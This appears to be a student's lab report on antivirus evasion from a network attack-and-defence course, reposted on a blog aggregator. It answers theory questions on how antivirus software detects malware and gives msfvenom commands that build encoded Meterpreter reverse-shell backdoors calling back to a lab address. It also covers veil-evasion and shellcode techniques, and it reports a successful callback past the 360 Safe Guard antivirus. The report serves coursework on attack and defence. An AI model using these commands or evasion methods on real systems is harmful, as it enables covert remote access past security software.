zoukankan      html  css  js  c++  java
  • 20145329 《网络对抗技术》免杀原理与实践

    实践内容:

    (1)理解免杀技术原理(1分)

    (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(2分)

    (3)通过组合应用各种技术实现恶意代码免杀(1分)

    (4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

    1.基础问题回答

    杀软是如何检测出恶意代码的?

    1.通过对文件代码的特征检测
    2.通过对文件代码的观察,看它的基本信息,来源,文件属性等
    3.通过对文件行为的监测,文件代码在工作时候的作为是否是有目标功能的

    免杀是做什么?

    构造一些能够躲过杀毒软件的检测,或者在检测之后不被杀掉。

    免杀的基本方法有哪些?

    1.改变特征码,对木马文件进行冲编码或者对它的原本的编码方式加以掩饰,即尽量不要使文件代码符合或接近恶意代码检测库里面对代码特征的统计,而使之被检测为恶意代码
    2.改变行为,用被动的方式实现主动攻击的目标或者将恶意代码加入正常功能的代码中,伴随正常代码一起被执行
    3.使用专门的辅助工具协助恶意代码成功植入靶机

    2.实践总结与体会

    本次实验是基于防护的原则进行的免杀病毒入侵的操作,发现计算机虽然几乎是个集结了世界上最聪明的一群人制造出来的产品,但是还是存在着很多很多的可以让黑客钻空子的漏洞,因为开发者创造产品的理念是基于实用、方便、安全等等诸多的目的开始的研发,要考虑方方面面,就难以把方方面面都考虑周全,而攻击者仅仅是基于破坏的原则做研究,所以成功的几率更大。之前觉得互联网中我们是与现实的关联是透明的,没有人看到,实际发现其实这层保护是很脆弱的。

    3.离实战还缺些什么

    目前我们所做的所有操作都是基于对靶机的一定了解,比如掌握IP信息,或者要求靶机配合接收传输的木马文件,而且木马一般都会被杀掉。要在实战中好的实现攻击,还需要对攻击方法的过程更加了解和更好的木马代码,以及对电脑系统漏洞的掌握。

    4.实践过程记录

    1.理解免杀技术原理

    免杀技术是为了掩饰植入目标靶机的文件的恶意代码属性而使用的一系列技术和措施使得文件躲过靶机的杀毒软件的查杀,而成功植入靶机。

    2.正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

    msf编码器生成
    • 使用msf编码器生成一个后门程序
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.15.128 LPORT=5329 -f exe > 5329met-encoded.exe

    • 文件传送到windows以后被查杀,找回后上传到virscan扫描,有21/39款杀软鉴定它为恶意代码

    • 使用msf编码器对恶意代码进行10次编码,并生成一个后门文件
      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.15.128 LPORT=5329 -f exe > 5329met-encoded10.exe

    • 文件传送到windows以后仍然被查杀

    • 找回后上传到virscan扫描,有20/39款杀软鉴定它为恶意代码

    • 对比查杀分析信息后发现其中一个名为Quickheal的杀软没有检测出多次编码后的恶意代码,说明这个杀软比较弱,不过也说明多次编码对个别杀软是有一定作用的,不过整体来讲对恶意代码成功植入靶机还是几率不大

    • 360安全卫士检测出以上msf编码器编码的两个恶意代码

    veil-evasion
    • kali原本没有veil-evasion ,所以需要先安装
      sudo ape-get install veil-evasion
    • menu下依次输入语言、ip、端口号以及文件名等

    • 将生成的可执行文件传送到windows,传送时windows杀软没有检测到文件为恶意代码并杀死它

    • 在windows文件中找到恶意代码(5329.exe),上传到virscan扫描发现有10/39款杀软识别出它是恶意代码(算是挺高的检测率了,然而我的360安全卫士却没有检测出它,看来这款杀软也不是很厉害,应该换一个)

    shellcode编程
    • 在kali终端下生成一个c格式的十六进制数组,Ip为kali的

    • 按照实验教程模版在windows VS 中编写一个c语言的shellcode代码,并将kali中生成的带有kali ip的十六进制数组加入c代码的编写中,

    • kali中运行msf监听

    • windows中VS调试shellcode代码,360杀软检测出木马,建议清除

    • 将c代码上传到virscan扫描,结果显示0/39的杀毒软件鉴定为恶意代码,可能是该网站的病毒库没有及时更新,或者我们生成的恶意代码已经不太具有恶意代码的特征或行为不太像恶意代码

    3.通过组合应用各种技术实现恶意代码免杀

    参考高其同学的博客,使用shellcode逆序处理的方式对恶意代码再次进行加工编码,实现免杀

    4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    回连成功~
    杀软名称:360安全卫士
    主程序版本:11(11.0.0.2001)
    备用木马库:2017-3-26

    参考:

    http://www.cnblogs.com/20145221GQ/p/6577002.html

  • 相关阅读:
    在Android初次的前期学习中的十二个小例子(附案例下载)
    实验二 汇编命令(伪指令)实验
    实验一 用机器指令和汇编指令编程
    用汇编实现十六进制数转化为八进制数(除法)
    用汇编语言实现从1加到100(1+2+...+100)
    实验一 绘制任意斜率的直线段 | 使用VS2017工具
    Nginx+Keepalived实现Nginx高可用负载均衡
    Linux系统在线扩容(根目录)磁盘空间
    Redis集群部署
    CentOS7安装OpenStack-11.部署Ceph分布式存储架构
  • 原文地址:https://www.cnblogs.com/jdy1453/p/6624020.html
Copyright © 2011-2022 走看看